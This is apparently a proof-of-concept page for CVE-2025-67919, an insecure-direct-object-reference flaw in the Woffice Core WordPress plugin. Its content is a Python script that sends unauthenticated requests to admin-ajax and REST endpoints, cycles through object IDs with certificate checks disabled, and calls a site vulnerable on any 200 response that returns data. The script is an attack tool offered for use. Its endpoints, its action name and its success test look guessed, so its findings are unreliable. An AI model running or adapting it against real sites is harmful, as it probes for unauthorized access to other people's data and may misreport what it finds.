CVE-2025-67919 Woffice Core授权绕过漏洞

# CVE-2025-67919 PoC - Woffice Core IDOR Vulnerability import requests import sys def check_vulnerability(target_url): """ Check if target is vulnerable to CVE-2025-67919 This PoC demonstrates IDOR vulnerability in Woffice Core """ # Common Woffice AJAX endpoints endpoints = [ '/wp-admin/admin-ajax.php', '/wp-json/woffice/v1/', '/?rest_route=/woffice/v1/' ] # Test with different object IDs test_ids = [1, 2, 3, 100, 1000] for endpoint in endpoints: for obj_id in test_ids: # Try to access protected resources with different IDs params = { 'action': 'woffice_get_object', 'object_id': obj_id } try: response = requests.get( target_url.rstrip('/') + endpoint, params=params, timeout=10, verify=False ) # If response indicates successful unauthorized access if response.status_code == 200: data = response.json() if 'data' in data or 'content' in data: print(f'[+] Potential vulnerability found at {endpoint}') print(f'[+] Object ID: {obj_id}') return True except Exception as e: print(f'[-] Error testing {endpoint}: {e}') return False if __name__ == '__main__': if len(sys.argv) < 2: print('Usage: python cve-2025-67919.py <target_url>') sys.exit(1) target = sys.argv[1] print(f'[*] Scanning {target} for CVE-2025-67919...') if check_vulnerability(target): print('[+] Target appears to be vulnerable') else: print('[-] Target does not appear to be vulnerable')